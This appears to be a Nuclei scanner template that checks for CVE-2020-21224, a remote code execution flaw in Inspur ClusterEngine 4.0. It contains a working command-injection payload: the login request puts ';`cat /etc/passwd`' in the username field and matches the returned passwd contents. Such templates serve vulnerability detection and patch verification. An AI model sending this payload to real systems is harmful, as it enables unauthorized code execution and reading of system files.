id: CVE-2020-21224

info:
  name: Inspur ClusterEngine 4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Inspur ClusterEngine V4.0 is suscptible to a remote code execution vulnerability. A remote attacker can send a malicious login packet to the control server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Inspur to mitigate this vulnerability.
  reference:
    - https://github.com/NS-Sp4ce/Inspur/tree/master/ClusterEngineV4.0%20Vul
    - https://nvd.nist.gov/vuln/detail/CVE-2020-21224
    - https://github.com/NS-Sp4ce/Inspur/
    - https://github.com/SexyBeast233/SecBooks
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-21224
    cwe-id: CWE-88
    epss-score: 0.05094
    epss-percentile: 0.92923
    cpe: cpe:2.3:a:inspur:clusterengine:4.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: inspur
    product: clusterengine
  tags: cve2020,cve,clusterengine,rce,inspur

http:
  - method: POST
    path:
      - "{{BaseURL}}/login"

    body: |
      op=login&username=;`cat /etc/passwd`&password=

    headers:
      Content-Type: application/x-www-form-urlencoded
      Referer: "{{Hostname}}/module/login/login.html"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022034100369531a28856513eee180b92656969d7a2543e4e1becaeee473c1438cf1022100f69d223030dec03e6a6a2b3e275eed82702fcce3af02cd4cce1ad7d5e2736d63:922c64590222798bb761d5b6d8e72950